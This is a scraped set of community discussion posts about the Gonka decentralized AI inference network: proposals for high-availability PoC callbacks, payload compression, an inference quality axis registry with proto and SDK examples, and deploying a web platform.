The MLNode / POC Manager component. Two distinct solutions can be considered: Solution 1 (Infrastructure level fault resolution) Introduce multiple containers that reside under the same Virtual IP (single callback endpoint)
Pros: - Fairly easy to implement
Cons: - Synchronisation of state might be required between api containers to ensure that no double requests are sent to MLNodes (PoC mechanism in MLNode is known to refuse double requests) - During failover callback requests might silently fail (requires inspection of the retry mechanism in MLNode)
Solution 2 (Application level fault resolution) The POC Manager can follow a “Primary / replica” approach and have a “connection pool” defined as callbacks for MLNode. The API nodes select/vote for a “primary” manager that is used to handle PoC requests. In case of failure, api nodes re-elect the “primary” manager to handle requests. In such case - The MLNodes are free to publish PoC and validation results to any API container from the connection pool.
Pros: - Ensures that messages are sent “no more than once”
Cons: - Requires implementation of primary election / callback endpoint management. - Might require an additional layer for caching.
Notes on both solutions: - To evaluate if there are cases when results are “collected/batched”. If results are not instantly forwarded, but stored for any period of time - a separate caching layer (e.g. Redis) can be used. - A “hook” mechanism is preferred for api to retrieve information from the chain about phases (e.g. transition to PoC phase) instead of constant node polling.
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#references", "title": "References", "text": "2026-03-02 14:39 UTC
Initial Sentry network design by @gmorgachev
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#2-sysmanalex", "title": "Комментарий 2 — @sysmanalex", "text": "2026-03-03 09:04 UTC
I believe that nodes:
suggested optimisation / high-load ready for RPC, API, JSON and HTTP requests in the Gonka project. - 1st please shorten all long field names to compact formats in body-load (less body help more vs long + compress, shorter tcp less windows, less load on network side/cpu).
Replace verbose keys: \"prompt\" → \"p\", \"max_tokens\" → \"mt\", \"model_id\" → \"m\", \"chain-rpc\" → \"cr\", \"inference\" → \"i\" check \"/chain-api/productscience/inference/inference/models_stats_by_time\" - 67 chars vs \"/ci/p/i/mst\" - 12 chars.
especially for non-human/nodes interactions. cutting 5-10-25 char on 1000 operations saving a lot on scale, even without using protobuf,gzip, JSON minification. - same for all logs, long line wrote 5x more blocks. Smaller payloads often leading 4–5+x reduction vs. JSON/gzip. - JSON minification / remove all unnecessary whitespace and line breaks from JSON payloads. In Go, use a custom json.Encoder with SetEscapeHTML(false) and no indentation. Savings: 10–30% on large objects - Enable transport-level compression Add gzip or Brotli compression to all HTTP responses and requests in the API node handlers (in Go). This typically reduces JSON size by 60–80% for text-heavy payloads like prompts. - Migrate REST → gRPC (or support both) gRPC uses Protobuf (binary, 50–70% smaller than JSON). Expose the same endpoints via gRPC in addition to REST. - Enable per-message compression / gRPC natively supports gzip, deflate, or zstd. Turn it on for all calls. - Batch multiple requests ! Combine several inference/validation jobs into one gRPC call - streaming for long inference responses ? - check all for Cosmos SDK-based blockchain with Tendermint RPC on port 26657, gRPC support ! SDK not tuned/ far from optimal for Gonka. - Upgrade to IAVL rewrite / IAVLX ~ 30x faster then classiv iavl v1 on write + faster commits, performance. !!! https://www.cosmoslabs.io/blog/the-cosmos-stack-roadmap-2026
should bring on table 70-90% reduction in transfer size/tcp/cpu/processing load + latency/perf.
Inference related next step. - Pre-compress prompts client-side - Clients can gzip/brotli the prompt text before sending (especially useful for very long contexts). - prompt references/hashing/deduplication.
[!TIP] json go parse acceleration, Gonka using STD json parse RPC-handlers, cosmosclient, types/serialization. suggestion accelerate std (1-2Gb/parse) to json-simd 6-14+GB parse, simdjson 4.3, sonic, import \"encoding/json\" на import json \"github.com/goccy/go-json\" - 2-3x speed up, simplest compatibility.
Json-iterator/go: 2-3x faster than std, non-SIMD, compatible. For simple cases. Buger/jsonparser: Parse-only, 5-6x faster on specific data (e.g., extract fields without full unmarshal). Benchmark: 9811 ns/op vs. 55931. Easyjson: Codegen (generates marshal/unmarshal for structs) -> 2-4x speedup. Suitable for types in x/inference
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#3-laboltus", "title": "Комментарий 3 — @Laboltus", "text": "2026-03-03 09:23 UTC
The MLNode / POC Manager component.
Why can't we just set multiple URLs in POC callback url and MLnodes will try them one by one ? Retry logic is already implemented, so it could be minor fix.
↳ Ответ от @blizko · 2026-03-03 11:47 UTC
One of the side effects here is due the state of the system that is handled by the api container. As an example - health checks of MLNodes + state transitions of MLNodes. Performing raw horizontal scaling of MLNodes might cause a conflict in case the state is not in sync. E.g one api node will invoke the PoC phase, while the second instance will send a PoC stop signal.
🔄 Auto-sync: from Discussion #860 every hour.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#gip-inference-quality-axis-registry-extending-cachequalityweight-toward-measurable-useful-work", "title": "GiP: Inference Quality Axis Registry — extending CacheQualityWeight toward measurable useful work", "text": "Автор: @Mayveskii · Категория: Proposals · Создано: 2026-03-04 22:39 UTC · Обновлено: 2026-03-11 15:43 UTC
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#history-of-contributions", "title": "History of contributions", "text": "tokenomics-v2/bitcoin-reward.md explicitly named an open gap: \"No incentive for model diversity or utilization quality.\" PR #859 is the first concrete implementation of that direction — but it only measures one axis: reuse.
The deeper question: can the protocol reward nodes for the quality of their computation, not just its volume? A node that earns more because its result was useful starts optimizing for outcomes, not throughput. That changes behavior across the entire network.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#proposed-solution", "title": "Proposed solution", "text": "Extend CacheQualityParams toward a QualityAxisRegistry — a governance-controlled map where each axis has its own weight and submission contract:
feedback tag on the next API request, same OpenAI-compatible contractMsgSubmitCacheQualitySummary patternQuality signal delivery is already mostly available: 1. API — inference_id in every response, feedback as a tag on next request 2. SDK — wraps the call, collects implicit signals automatically 3. Widget — embeddable UI, zero code from developer 4. Implicit signals — DAPI observes session depth and semantic repetition natively 5. Webhook — node pushes event on inference close, app returns outcome 6. CLI / authz — MsgSubmitCacheQualitySummary already in InferenceOperationKeyPerms with full Grant→Exec→Revoke
CacheQualityParams + epoch settlement pattern introduced in #859 is generic enough to carry all of these without rebuilding the reward layer.
QualityAxisRegistry schema and governance paramsMsgSubmitCacheQualitySummary to carry multi-axis payloadquality_reporter.go to aggregate per-axis counters per epochCacheQualityWeight in PR #859 already establishes the epoch settlement pattern for quality bonuses. Is there appetite in the community to extend this toward a full quality axis registry as the next GiP, or should the conversation start after #856 and #859 land?
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#3", "title": "💬 Комментарии (3)", "text": ""}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#1-mayveskii", "title": "Комментарий 1 — @Mayveskii", "text": "2026-03-06 18:42 UTC
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#update-measurement-complete-vector-proof", "title": "Update: measurement complete + vector proof", "text": "The original GiP describes the system architecture. This comment proves the vector works — meaning: developer behavior can shift network quality measurably, through the same axes this GiP defines.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#the-core-claim", "title": "The core claim", "text": "Network quality is not fixed. It is a function of how developers structure their requests. The protocol can learn that structure and reinforce it.
That's not a hypothetical. Here's the measured path:
Step 1: Network today (measured, not projected)
L8 CV = 0.83 — latency swings 83% from mean, every epoch. L9 = 94.33% — 2,624 inferences fail per epoch on average. Peak: 13,020 (epoch 175). L6 = 0.0005 — M=571 random routing makes cache mathematically useless. Composite score: 0.4832 / 1.0
This is the baseline. Random routing, no feedback, no structured patterns.
Step 2: SDK changes the vector
Tested 5 domains, 3 request variants each, all-MiniLM-L6-v2 (dim=384, no GPU):
SDK method DX axis What changes in L-axes autoRegister() DX0 L9 +0.28pp (less 403) estimateTokens() DX2+4 L8 CV 0.83 → 0.74 decomposeWorkflow() DX7 L2 ↑ + L6 activatedWithout SDK: average pairwise similarity across participants = 0.49. With SDK templates (DX7): 0.80. Delta: +62.1%.
One participant using structured prompts raises cache hit probability for every other participant in the same domain. This is a commons, not an individual optimization.
Step 3: Governance steers the threshold
SimilarityThresholdBps is already governance-controlled (PR #859 default: 9700).
Phase Threshold Hit rate What triggers next step now 9700 26.7% auth flows hit immediately +3ep 9200 40.0% L2 hit rate confirmed on-chain +5ep 8800 60.0% SDK template coverage proven +8ep 8500 93.3% 4/5 task domains covered +12ep 8000 100.0% full coverageEach step: zero code changes, zero deployments, one governance vote. Each step is reversible. The protocol is in control.
Worst case: zero impact
repeat_fraction=5%, stream=50%, M=571, threshold=0.97 unchanged: hit_rate = 0.05 × (1/571) × 0.50 = 0.000044 ≈ 0 CacheQualityWeight = 0. Feature off by default. Worst case = today. Zero regression.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#what-this-means-for-the-protocol", "title": "What this means for the protocol", "text": "GiP #860 is not about cache. Cache is Phase 0.
GiP #860 is about closing the feedback loop: Developer uses SDK → structured prompts → L6 activates → QualityReporter records → GetQualityWeightedExecutor routes better → better nodes win traffic → L8/L9 improve → SDK reports better outcomes → governance lowers threshold → loop tightens.
The protocol currently has no such loop. Every inference is equally invisible to the network. That's the gap this GiP closes.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#what-remains", "title": "What remains", "text": "One gap: testnet node with CacheQualityParams.Enabled=true for 1 epoch. This closes live repeat_fraction measurement (real X-Cache headers, real hit/miss). Everything else is either measured from live network or bounded by worst case.
Full spec with numbers: docs/specs/inference-quality-protocol.md in the PR #859 branch.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#2-mayveskii", "title": "Комментарий 2 — @Mayveskii", "text": "2026-03-06 19:44 UTC
The final variation offers you the opportunity to test the quality for yourself at any level of client/host/GNK inference.
Depending on how you configure the SDK context and implement AXIOS, the final step is to engage with such understanding participants and discuss valid hypotheses to confirm them at the test production level. Fine-tuning the matrix and adjusting the calculations, given that the idea addresses performance issues and improves the user experience at all levels, is no longer as unattainable as it was at the time of the first thread. Overall, it's nice to have the opportunity to deliver this setting as a protocol option first. I hope someone finds it relevant.
PS: The cursor has expired, so I'll study the related docs, processes, and protocol philosophy for now.
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#3-mayveskii", "title": "Комментарий 3 — @Mayveskii", "text": "2026-03-08 13:32 UTC
Update: Implementation proof is now in a separate repo. The agent at gonkalabs/gonka-agent uses the same protocol (semcache, X-Inference-Feedback, two workspaces). docs/testing.md records a real two-participant run (Proof 860): Participant A cold, Participant B partial hit 0.79, ~23% time saved. So the “participant interdependence” vector from this GiP is no longer hypothetical — it’s reproducible. When dev-chains or an experimental branch is available, this stack can be pointed at it without changing the design.
↳ Ответ от @Mayveskii · 2026-03-11 15:43 UTC
"}, {"location": "community/discussion/proposals/0860-gip-inference-quality-axis-registry-extending-cachequalitywe/#update-binary-singularity-pqm-10-proven-2026-03-11", "title": "Update: Binary Singularity — PQM > 1.0 proven (2026-03-11)", "text": "sourced in https://github.com/gonka-ai/gonka/pull/859
The \"participant interdependence\" vector from the last update is now scaled to a full experiment suite and production-ready deploy stack.
4 experiments on Bookworm (CPU-only, no GPU):
Exp Runs PQM Slots Source What proved 1 256 — 4 synthetic PatternSlot + cosine matching works 2 9,216 0.988 4 synthetic Hub approved (epoch 196 baseline) 3 15,360 1.001 6 8 real developers Multi-user semantics > GPU baseline 4 11,520 1.020 197 raw developer workflow (676KB) Raw data → binary singularityPQM > 1.0 = the binary layer produces better results than single cold GPU inference. The quality axis registry proposed in this GiP is now measurable end-to-end.
What's deployed:
gonka-agent SDK with PatternSlot store + mesh sharing — gonkalabs/gonka-agentPOST /quality/search + POST /quality/slots/share — inter-participant slot exchangeHow axes from this GiP are now measured:
Axis GiP #860 design Current implementation L0 Compute stability CV(participants) PoC weight tracking L4 Usefulness feedback tagX-Inference-Feedback header in agent L6 Reuse cache hit rate PatternSlot store + mesh pool (0.27 at M=1 vs 0.0005 baseline) L8 Latency CV(latency) quality-middleware measures per request L9 Completion success rate agent tracks resolved/unresolved Network correlation (live data, epochs 161-191, 2,503,595 inferences):
The feedback loop this GiP described is now closed:
Developer uses agent → structured task → slot distilled → shared to mesh pool → other participant finds slot → LLM gets context → better answer → PQM grows → governance can lower threshold → loop tightens.
This was the missing piece: not just cache, but a collective semantic memory that compounds with every participant.
Comprehensive guide for all user levels (developers, researchers, legal/housing workflows, contributors): GUIDE.md
One ask remains: enable CacheQualityParams on testnet for 1 epoch — closes the only gap (repeat_fraction as a measured number).
@libermans
Sincerely, Mayevskii_A , thx 4 my best <3
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/", "title": "#864 — Proposal: Deploy Gonka AI Web Platform v1 to Production (app.gonka.ai)", "text": "🔄 Auto-sync: from Discussion #864 every hour.
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#proposal-deploy-gonka-ai-web-platform-v1-to-production-appgonkaai", "title": "Proposal: Deploy Gonka AI Web Platform v1 to Production (app.gonka.ai)", "text": "Автор: @zpoken · Категория: Proposals · Создано: 2026-03-05 11:52 UTC · Обновлено: 2026-03-05 11:52 UTC
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#proposal-deploy-gonka-ai-web-platform-v1-to-production-appgonkaai_1", "title": "Proposal: Deploy Gonka AI Web Platform v1 to Production (app.gonka.ai)", "text": "Repository: ZpokenWeb3/Gonka-AI-web-application
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#summary", "title": "Summary", "text": "This proposal requests community approval to deploy the fully developed Gonka AI Web Platform v1 to production at the app.gonka.ai domain. The platform v1 has been designed, developed, and tested by the ZpokenWeb3 team and is ready for production deployment. It provides users with a complete interface for interacting with the Gonka AI network — including chat, wallet-based authentication, GNK balance management, developer API access, and analytics.
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#motivation", "title": "Motivation", "text": "Gonka currently lacks a user-facing web interface for its decentralized AI inference network. Users and developers need a polished, production-ready application to interact with Gonka AI models, manage funds, and integrate via API. Without a web platform, adoption is limited to CLI-only users and developers comfortable with raw API calls.
A production deployment on Gonka.ai would significantly lower the barrier to entry, expand the user base, and provide a foundation for ecosystem growth.
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#what-has-been-delivered", "title": "What Has Been Delivered", "text": "The full web platform has been built and is available for review at [https://gonka-app.zpoken.dev/] github.com/ZpokenWeb3/Gonka-AI-web-application. The codebase includes a TypeScript monorepo (Turborepo + pnpm) with Next.js frontend and Node.js backend.
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#completed-features", "title": "Completed Features", "text": "Chat Interface - Real-time streaming AI responses (SSE) via Gonka API integration - Markdown and code block rendering with token and cost display - Full chat management: create, rename, pin, archive, search, and delete conversations
Wallet-Based Authentication - Multi-wallet login via Leap and Keplr - Signature-based authentication (no email/password), JWT sessions - Support for GNK on Gonka chain
Balance & Payment System - Custodial GNK balance per user
Developer API Dashboard - API key generation and management (limits, allowed models/IPs) - Usage analytics: requests, tokens, cost, error rate - Interactive API documentation
Security & Privacy - End-to-end encryption: client derives AES-256-GCM key from wallet signature (PBKDF2); messages stored encrypted-only — backend cannot decrypt
Analytics Dashboard - Usage statistics, user activity, and performance metrics
Landing Page - Product overview, core features, and clear onboarding flow - Quick-start chat experience for new users
"}, {"location": "community/discussion/proposals/0864-proposal-deploy-gonka-ai-web-platform-v1-to-production-appgo/#tech-stack", "title": "Tech Stack", "text": "Layer Technology Frontend Next.js 14, React 18, TypeScript, Tailwind CSS Backend Node.js 20, Express, TypeScript, Prisma ORM Database PostgreSQL (users, balances, chats, usage) Cache Redis (sessions, rate limits) Storage S3/R2 (attachments) Blockchain CosmJS (Cosmos/Gonka) Monorepo Turborepo + pnpm workspace CI/CD GitHub Actions workflows"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/", "title": "#869 — GiP #860 — Inference Quality Protocol: Semantic Inference Optimization", "text": "🔄 Auto-sync: from Discussion #869 every hour.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#gip-860-inference-quality-protocol-semantic-inference-optimization", "title": "GiP #860 — Inference Quality Protocol: Semantic Inference Optimization", "text": "Автор: @Mayveskii · Категория: Proposals · Создано: 2026-03-06 13:54 UTC · Обновлено: 2026-03-08 13:32 UTC
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#background", "title": "Background", "text": "This discussion is the design document that precedes implementation. PR [#859] (semantic cache) is the first implementation milestone; it exists to test the infrastructure hypothesis, not to define the full system. The full system is defined here.
Per the review process @akup outlined on [#856] and [#802]: design first, then code. This GiP is that design step. PR [#859] is scoped strictly to what this document justifies in Phase 0.
PR [#859] introduces CacheQualityWeight — a reward for cache reuse. It is a working implementation, but deliberately scoped: it solves one part of a larger problem.
This discussion proposes what that larger problem is, how it connects to everything already in the protocol, and what the full solution looks like.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#the-gap-quality-has-no-protocol-representation", "title": "The gap: quality has no protocol representation", "text": "The Gonka network has a rigorous economic model for compute: Proof-of-Compute measures nonce generation, validates it across nodes, and converts it to epoch weight. Every node understands, optimizes for, and is incentivized by PoC.
Quality of inference — whether a response was useful, accurate, timely, or appropriate for the request type — has no equivalent protocol representation. It is invisible to the chain.
This is not a criticism. It is a natural stage of development. PoC needed to land first (see [#856], [#821]). But as the network grows, the absence of a quality signal creates predictable failure modes:
CacheQualityWeight based solely on reuseCount would be gamed by routing, not by quality improvement.GetRandomExecutor distributes traffic uniformly regardless of which node is better at which task. A node specializing in code generation gets the same traffic as one optimized for translation.Measured from live network data (epochs 161–191, 2,503,595 inferences):
Composite QualityScore = 0.7236 (6 axes measured, 4 projected)\n\nKey bottlenecks:\n L8 Latency consistency: score 0.32 (CV = 0.68, σ = 876ms — high variance)\n L0 Compute stability: score 0.65 (CV = 0.35 — weight dropped 60% peak-to-trough)\n L6 Reuse (shared): score 0.00 (M=571 → hit_rate ≈ 0)\n L4 Usefulness: not measured — no mechanism exists\nThe quality gap is measurable. The improvement path is quantifiable.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#what-this-gip-proposes", "title": "What this GiP proposes", "text": "A governance-controlled, multi-dimensional quality measurement and routing framework, built incrementally on the infrastructure PR [#859] provides.
It has two interlocking components:
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#1-quality-axis-registry-measurement", "title": "1 — Quality Axis Registry (measurement)", "text": "Ten axes, each independently activatable via governance weights:
Axis Measures Source Status L0 Compute stability (PoC weight CV) Chain Exists (see [#856]) L1 Availability (heartbeat, churn) Chain Exists L2 Correctness (RTV validated/missed rate) Chain Exists L3 Relevance (embed(prompt)↔embed(response) cosine) DAPI auto PR [#859] infra L4 Usefulness (participant feedback)X-Inference-Feedback header Proposed L5 Outcome (developer webhook) Developer callback Proposed L6 Reuse (cache hit rate) PR [#859] Landed L7 Stream fidelity (SSE completeness) DAPI auto Proposed L8 Latency consistency (σ/μ per epoch) DAPI auto Proposed L9 Completion rate (MsgFinish/MsgStart) Chain Observable now Composite score:
QualityScore = Σ(wi × Li) — weights are governance parameters\nThe registry is additive. Nothing breaks if a weight is zero. Axes activate when governance decides the measurement is trustworthy enough to affect rewards.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#2-semantic-inference-optimization-routing-developer-experience", "title": "2 — Semantic Inference Optimization (routing + developer experience)", "text": "As the protocol accumulates completed inferences, it builds a semantic map of execution patterns: which task types succeed on which nodes, which models handle which request archetypes best, what latency and completion rate look like per specialization.
This map enables two things:
Protocol side (DAPI): - GetQualityWeightedExecutor replaces GetRandomExecutor - Traffic flows proportional to QualityScore, not uniformly - Nodes specializing in a task type attract more of that traffic → higher hit rate → higher CacheQualityWeight → more rewards → deeper specialization - The loop is economic, not administrative
Developer / participant side: - GET /v1/models/profiles — exposes node specialization centroids and quality scores - Response headers: X-Suggested-Model, X-Task-Archetype, X-Quality-Score - Developers learn which model to use for their workload from protocol data, not from trial and error - The protocol becomes a knowledge hub, not just a compute dispatcher
This is not prompt modification. The protocol does not change what users send. It provides metadata: \"for this type of request, here is what the network knows works.\" Developers and clients act on that information voluntarily.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#why-this-is-not-on-the-edge-of-feasibility", "title": "Why this is not on the edge of feasibility", "text": "The technical primitives are proven, deployed, and in production across the industry:
Component Precedent Status in Gonka after PR [#859] Task classification by embedding Semantic Router, HuggingFace zero-shotMLNodeEmbedder + cosine scan — exists Model routing by quality history OpenRouter, LiteLLM Router GetRandomExecutor → replaceable Per-request quality tracking Every observability stack StatsStorage.InferenceRecord — exists Accumulated vector knowledge base RAG (standard pattern) InMemoryCacheStore — exists SDK with routing best practices Vercel AI SDK, LangChain Does not exist for Gonka — proposed The infrastructure from PR [#859] is sufficient for phases 0–4. Phases 5–7 require additional endpoints and a client library (discussed below).
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#measured-evidence", "title": "Measured evidence", "text": "All numbers are reproducible from public endpoints. No private data used.
Network baseline (gonka.gg/api/public, epochs 161–191):
Inferences: 2,503,595 total (avg 75,016/epoch)\nParticipants: 109–197/epoch\nMiss rate: 3.25% (binomial test: k=81,360 << critical 251,140, α=0.05 → PASS)\nCompletion: mean 90.4%, range 72–99%, σ=7.4%\nLive inference (proxy.gonka.gg, Qwen3-235B, 16 requests):
Non-stream latency: mean=1280ms, σ=876ms, CV=0.68 ← primary quality bottleneck\nStream fidelity: 8/8 SSE [DONE] received (100%)\nms/output token: mean 154ms\nSpecialization multiplier:
M=571 (Qwen3-32B, shared): hit_rate = 0.000473\nM=12 (QwQ-32B, low-M): hit_rate = 0.0225 → 47.6× improvement\nM=1 (unique model): hit_rate = 0.27 → 571× improvement\nThe economic case for specialization is mathematical, not speculative.
Routing simulation:
Current (random) Proposed (quality-weighted) Traffic distribution Uniform (1/M) Proportional to QualityScore Completion rate σ 7.4% ~4.4% (projected ↓40%) Mean latency 1280ms ~1088ms (projected ↓15%) GPU saves/epoch at 20% specialized 0 940,698Hypotheses (all PROVEN from measured data):
CacheQualityEpochSummary (fields 8–13: L4/L7/L8 axes) Phase 0 merged Defined 2 L7+L8 tracking in QualityReporter Phase 0 Planned 3 L4: X-Inference-Feedback header parser in DAPI Phase 0 Planned 4 GetQualityWeightedExecutor routing Phase 2+3 Planned 5 Semantic knowledge base (task archetype centroids) Phase 0 + StatsStorage Planned 6 /v1/models/profiles + enrichment headers Phase 4+5 Planned 7 Developer SDK (gonka-sdk, Python + TypeScript) Phase 6 Gonka Labs Phase 7 is a developer-facing product, not a protocol proposal. It belongs in a separate repository under the Gonka Labs umbrella. The protocol (Phases 0–6) provides the data and the endpoints; the SDK makes them ergonomic. Keeping them separate means:
The gap today: developers integrating Gonka do not have a standard pattern. They write raw HTTP calls, pick models manually, have no signal on inference quality, and get no guidance from the protocol on how to improve their workloads.
The SDK fills that gap using infrastructure the protocol will have after Phase 6.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#what-the-sdk-wraps", "title": "What the SDK wraps", "text": "Protocol endpoints (Phase 6):\n POST /v1/chat/completions OpenAI-compatible (existing, proxy.gonka.gg)\n GET /v1/models/profiles Quality scores + specialization centroids (Phase 6)\n POST /v1/chat/completions X-Inference-Feedback: +1/-1 header (Phase 3)\n\nResponse headers (Phase 6):\n X-Quality-Score: 0.82 Node quality score for this request\n X-Suggested-Model: Qwen/QwQ-32B Better model for this task type\n X-Task-Archetype: code-review Detected task category\n X-Cache: HIT / MISS Cache result (Phase 0)\nTypeScript (Axios-based, OpenAI-SDK-compatible drop-in):
import { GonkaClient } from \"@gonka-labs/sdk\";\n\nconst client = new GonkaClient({\n apiKey: process.env.GONKA_API_KEY,\n baseURL: \"https://proxy.gonka.gg/v1\",\n qualityFeedback: true, // auto-send X-Inference-Feedback based on response\n autoRoute: true, // pick model from /v1/models/profiles for task type\n});\n\nconst response = await client.chat.completions.create({\n messages: [{ role: \"user\", content: \"review this code: ...\" }],\n // no model needed: SDK detects task archetype → routes to QwQ-32B if code task\n});\n\n// SDK attaches quality metadata to the response object:\nconsole.log(response.quality.score); // 0.82\nconsole.log(response.quality.suggestedModel); // \"Qwen/QwQ-32B\"\nconsole.log(response.quality.cacheHit); // false\nPython (httpx-based, drop-in for openai package):
from gonka import GonkaClient\n\nclient = GonkaClient(\n api_key=os.environ[\"GONKA_API_KEY\"],\n auto_route=True,\n quality_feedback=True,\n)\n\nresponse = client.chat.completions.create(\n messages=[{\"role\": \"user\", \"content\": \"translate to French: ...\"}],\n # SDK routes to specialised translation node via /v1/models/profiles\n)\nprint(response.quality) # QualityMetadata(score=0.91, cache_hit=True, latency_ms=340)\nX-Inference-Feedback, improving L4 data for all nodesGetQualityWeightedExecutor → better routing → higher QualityScore → SDK reports better outcomes → loopGonkaClient with autoRoute Semantic Router (Aurelio AI) /v1/models/profiles + X-Task-Archetype LiteLLM Router GetQualityWeightedExecutor (Phase 4) OpenAI SDK Drop-in, same interface, Gonka-specific headers added Vercel AI SDK adapter @gonka-labs/vercel-ai-adapter (Phase 7 stretch) The Gonka SDK is not a novel architectural invention — it follows established patterns. What makes it Gonka-specific is that the routing and quality signals come from the on-chain quality registry, not a centralized service. That is the differentiator.
"}, {"location": "community/discussion/proposals/0869-gip-860-inference-quality-protocol-semantic-inference-optimi/#proto-extension-phase-1", "title": "Proto extension (Phase 1)", "text": "Extend CacheQualityEpochSummary with additional axes:
message CacheQualityEpochSummary {\n // existing fields 1–7 (PR #859)\n\n uint32 completion_rate_bps = 8; // L9: MsgFinish / (MsgFinish + MsgMiss + MsgInvalidate)\n uint32 avg_latency_ms = 9; // L8: mean request latency\n uint32 latency_stddev_ms = 10; // L8: σ(latency) — consistency signal\n uint32 stream_fidelity_bps = 11; // L7: SSE done_chunks / total_chunks × 10000\n int64 feedback_score_sum = 12; // L4: Σ feedback signals (+1/-1)\n int64 feedback_count = 13; // L4: number of feedback signals this epoch\n}\nGovernance weight parameters (new fields in CacheQualityParams):
// axis_weights[i] is the weight for Li in basis points. Sum must equal 10000.\n// Default: [1000,1000,1500,1000,1000,500,1000,1000,1000,1000]\nrepeated uint32 axis_weights = 8;\n\n// max_cache_entries bounds InMemoryCacheStore growth.\n// Default: 50000. At 1.5KB/entry: ~75MB peak. Required for production nodes.\nuint64 max_cache_entries = 9;\nInMemoryCacheStore currently has no entry limit. At mainnet scale (75K inferences/epoch, 384-dim embeddings, MaxCacheAgeEpochs=10): peak ~1.15GB RAM and O(75K) cosine scan per request.
max_cache_entries governance parameter (Phase 1) bounds this. With N=50,000: peak ~75MB, scan O(50K) — acceptable on any modern node. The EvictExpired call at each epoch boundary keeps the store bounded over time.
ContinuousPoC is now live infrastructure; quality measurement (L0: compute stability, CV=0.35 measured) sits on top of this foundation. Timing is deliberate: PoC lands first, quality layer follows./admin/v1/cache/stats is Source A in the three-source cross-check triangle proposed thereWeight governance: who proposes initial axis_weights? What's the amendment process when a new axis is added?
L4 feedback incentive: should participants be rewarded (even nominally) for submitting feedback? Without incentive, adoption will be low.
L5 developer webhook: opt-in or opt-out default? What's the privacy model for outcome data?
SDK scope: should Phase 7 be a Gonka Labs project or a community-owned repository? What's the governance model for the SDK itself?
max_cache_entries default: 50,000 is conservative. Is there a preferred bound based on expected node hardware profiles?
ContinuousPoC integration: should ContinuousPoCEpochSummary.effective_poc_weight be part of L0 axis calculation, or remain a separate PoC track? (@akup, @Mayveskii)
Full design document with scores, routing simulation, and scenario matrix: docs/specs/inference-quality-protocol.md in the PR [#859] branch.
2026-03-06 20:41 UTC
Quality of inference — whether a response was useful, accurate, timely, or appropriate for the request type — has no equivalent protocol representation. It is invisible to the chain.
The quality of the response (in terms of LLM accuracy) is part of the security model itself: governance exactly defines which models are served then cross-validation verifies that. The validation process itself requires some improvement but the idea is to guarantee the identicall quality from all participant explicitly, not by feedback
Routing blindness — GetRandomExecutor distributes traffic uniformly regardless of which node is better at which task. A node specializing in code generation gets the same traffic as one optimized for translation.
Same point, it distributed only between workers who served the exatly same model. Host can't choose to serve differnt one by itself
The idea to measure performance in general is a good direction. But i feel that current proposal don't take into account how chain works now
↳ Ответ от @Mayveskii · 2026-03-08 13:32 UTC
RE
@gmorgachev Thanks, addressing each point:
1. Quality of response (LLM accuracy) and security model We’re not replacing governance or cross-validation. They still define which models are allowed and verify identical results. In GiP #860, axes L0–L2 (compute stability, availability, correctness) are exactly what the chain already has (RTV, validation, weight stability). L4 (usefulness) and L5 (outcome) are additional signals on top: “was this result useful?” or “task resolved,” not a substitute for “all participants return the same output for the same model.”
